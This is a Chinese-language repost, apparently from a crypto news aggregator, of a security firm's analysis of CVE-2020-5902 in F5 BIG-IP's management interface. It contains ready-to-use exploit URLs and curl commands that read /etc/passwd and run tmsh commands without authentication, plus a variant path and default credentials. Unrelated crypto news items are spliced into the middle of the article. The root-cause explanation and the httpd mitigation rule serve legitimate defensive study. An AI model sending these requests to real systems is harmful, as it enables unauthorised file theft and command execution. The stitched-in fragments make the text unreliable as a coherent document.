区块见闻 区块见闻
Ctrl+D收藏区块见闻
首页 > 酷币 > 正文

FIL:CertiK:深度解析F5 BIG-IP远程代码执行漏洞-ODAILY_PAC

作者:

时间:

前言

今日一早起来推特以及各大技术论坛上炸开了锅,安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容,大部分是在分享如何寻找目标,利用漏洞,并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序,搭建环境复现漏洞后,对漏洞的起因进行了分析,并在下文分享给大家。

背景

F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。PositiveTechnologies的研究人员MikhailKlyuchnikov发现其配置工具TrafficManagementUserInterface中存在远程代码执行漏洞,CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分,攻击者可利用该漏洞创建或删除文件,关闭服务、执行任意的系统命令,最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。

受影响的BIG-IP软件版本

漏洞利用

读取任意文件:

curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

Balancer决定裁员、削减运营预算并改革品牌战略:金色财经报道,在周四的社区电话会议上,DeFi流动性协议Balancer的服务提供商Orb Collective透露,他们正在削减运营预算并裁员,以全面改革Balancer的品牌战略。会议透露,管理Balancer协议前端的OpCo已经解雇了两名工程师,并减少了运营预算。该协议将重点转向改善其用户界面和营销,并将组建一个专门的营销团队,讨论Balancer如何与平台用户合作的机制。[2023/4/14 14:03:46]

远程执行tmsh命令:

curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

官方给出的临时修复方案(后文会对修复进行分析):

漏洞复现

在F5的官网注册账号之后,可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系统)的虚拟机镜像。CertiK技术团队因为使用VmwareFusion,下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。

当前zkSyncEra TVL达到9392万美元,超过zkSync Lite:金色财经报道,据L2BEAT数据显示,zkSync Era在推出一周后网络总锁仓量(TVL)目前达到9392万美元,超过zkSync Lite(8622万美元)。[2023/4/1 13:39:27]

在VmwareFusion中加载镜像(import):

加载完成之后,使用默认用户名密码登陆系统:

用户名:root

密码:default

系统初始化之后,使用”ifconfig”命令查询虚拟机IP地址。CertiK技术团队的BIG-IPTMUI虚拟机IP地址为”172.16.4.137”。

在浏览器中访问BIG-IPTMUI登陆界面:

https://172.16.4.137/tmui/login.jsp

复现任意文件读取:

在浏览器中访问以下地址可以读取”/etc/passwd”文件内容:

Aave社区发起“初始资金库策略”提案,建议部署Reserve Factor在Balancer V2上获得BAL奖励:9月18日消息,DAO资金库聚合平台Llama在Aave社区发起新提案“初始资金库策略”,建议部署Reserve Factor (RF)通过在Balancer V2上获得BAL奖励以赚取额外收益。这个策略有两个目标:使用资金库中的aToken赚取额外收益;通过与Aave交互的协议积累治理影响。Llama提议将RF中持有的一部分aToken存入Balancer V2池中以获得BAL奖励。另一种策略是使用Ecosystem Reserve中的AAVE(价值8.21亿美元)作为抵押品,以便借入稳定币来为产生收益的策略提供资金。此外,Balancer V2 LP代币有可能被集成到Aave的AMM平台中。[2021/9/19 23:35:54]

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

复现tmsh命令执行:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

Balancer Labs将向在Balancer V2中发现漏洞的白帽黑客提供赏金:金色财经报道,Balancer Labs将向任何在其去中心化金融协议Balancer V2版本中发现漏洞的人提供最高达1000 ETH(约200万美元)的赏金。根据该公司的网站,漏洞的级别设置为“严重”到“低”,高严重性报告将获得1000 ETH的赏金,低严重性将获得5 ETH。[2021/4/21 20:42:01]

漏洞分析

在进入漏洞分析前,先要明确一点:漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身是可以被访问的。

下面的截图显示了登陆前和登陆后访问以下URL的区别:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

登陆前访问:

UMA将ETH/UMA流动性池转至Uniswap V2,并新增Balancer资金池:UMA宣布将于24小时内将UMA代币的流动性将从Uniswap V1转至V2。同时,UMA背后团队Risk Labs基金会将在Balancer上新增一个80/20的流动性池,这将提升UMA的流动性。

Risk Labs将目前部署在Uniswap V1流动性池中的6500 ETH和80万UMA重新分配至Uniswap V2和Balancer中,同时再额外增加120万UMA代币至Balancer资金池中。最终分配将是Uniswap V2资金池中有3250 ETH/40万UMA,Balancer资金池中3250 ETH/160万UMA。Risk Labs称此举不会出售任何代币或删除ETH流动性,也不会更改价格,只会提升整个UMA代币的市场深度,让价格波动更小,滑点也更少。[2020/6/30]

被跳转回登陆界面

输入账号密码登陆管理界面之后再访问,可执行fileRead.jsp读取文件。

fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件,但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制,在未授权的情况下,访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.这里可以查看演讲稿件(参考链接2)。

这里我们可以理解在F5BIG-IP的后台服务器对收到了URL请求进行了两次的解析,第一次是httpd(Apache),第二次是后一层的Java(tomcat).

在URL在第一次被Apache解析时,Apache关注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

当Apache在看见前半段是合法URL且是允许被访问的页面时,就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。

在URL在第二次被解析时,后面的Java(tomcat)会把/..;/理解为,向上返回一层路径。此时,/login.jsp/和/..;/会抵消掉。Tomcat看到的真正请求从

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

变成了:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

再来fileRead.jsp并没有对收到的请求进行身份验证,后台因此直接执行fileRead.jsp,读取并返回了/etc/passwd文件的内容。

根据以上的思路,其实可以找出别的利用漏洞的URL,比如:

https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

这里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样,是一个不需要登陆就能访问的页面。但是因为要向上返回两次,需要用两个/..;/来抵消掉”/login/legal.html”。

回到开头提到的官方给出的临时修复方案,修复方案的本质是在httpd的配置中添加以下规则:

include'

<LocationMatch".*\\.\\.;.*">

Redirect404/

</LocationMatch>

'

这个规则的意思是,当http服务器在监测到URL中包含..;(句号句号分号)的时候,直接返回404.这样利用漏洞的请求就没办法到达后台(第二层)了。

如何避免漏洞:

此漏洞的利用方式在网络上公开之后,因为它的攻击成本低廉,大批黑客都开始图谋利用此漏洞攻击使用F5BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权,对系统产生巨大的破坏。

俗话说:“不怕贼偷,就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上,不代表你是安全的。因为很有可能黑客的下一个目标就是你。

而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测,第一时间给客户提交漏洞预警报告,帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。

同时作为一名安全技术人员,在新漏洞被发现的时,不仅需要知道漏洞是如何被黑客利用的,更要去探寻漏洞背后的原因,方可积累经验,更加有能力在复杂的系统中发现隐藏的漏洞。

CertiK以及其技术人员,将永远把安全当做信仰,与大家一同学习并一同成长。

参考链接

1.https://cve.mitre.org/

2.https://downloads.f5.com/

3.https://i.blackhat.com/

标签:FILFILEHTTPACSFIL价格filecoin币怎么交易CHTT价格ImpactXPrime

酷币热门资讯
COI:这一年你想了解的新项目,都在 NEXT 这里-ODAILY_EAT

在2020年的半年时间戳盖下的时候,也许所有人都在复盘自己刚刚经历的180天,如果非要找一个形容词来概括,「兵荒马乱」这四个字也只能些许概括。币圈的这半年,同样不好过.

ABC:顺势而为,空军是否走进末尾?-ODAILY_ETH

01趋势为王法则 交易的时候,看大周期的方向,例如周K线,做单的原则就是:见高做空,只空不多,多者必死;相反,当趋势为多的时候,做单的原则是:见低做多,只多不空,空者必亡.

数字资产:科普:什么是比特币SV?BSV是否优于比特币?-ODAILY_国内可以做加密货币吗

加密货币不只是比特币。 目前,数字资产市场上存在超过5700种不同的数字货币。而在市值排名前十的加密货币中,有两种是比特币的分叉币,分别是比特币现金和比特币SV.

PAC:“链”上办公解锁人才自我管理,助推企业经营降本增效-ODAILY_区块链

年初,蔓延的疫情让SOHO办公成为了被动模式下的“最佳选择”,人们不得不在家中打开电脑,探索远程办公的更多可能.

比特币:比特币第三次冲上12000美元,这次能否突破?-ODAILY_Pyrrho DeFi

比特币在前天被defi风波带跌了一波后,就一直表现的比较强势,目前也是重回了12000美元附近。 从大级别来看,目前这里有点像前面9000~10000刀附近的情况,在盘一个大的中枢.

EOS:今天又到了周线收线的时候了,各位投资朋友要注意了-ODAILY_eos币最新利好消息

今天又到了周线收线的时候了,各位投资朋友要注意了2020年7月12日,周日,一周的时间就这样过去了,今天又到了周线收线的时候了;易天老师关注周线很长时间了,每次在周线收线的这几天,必有大行情.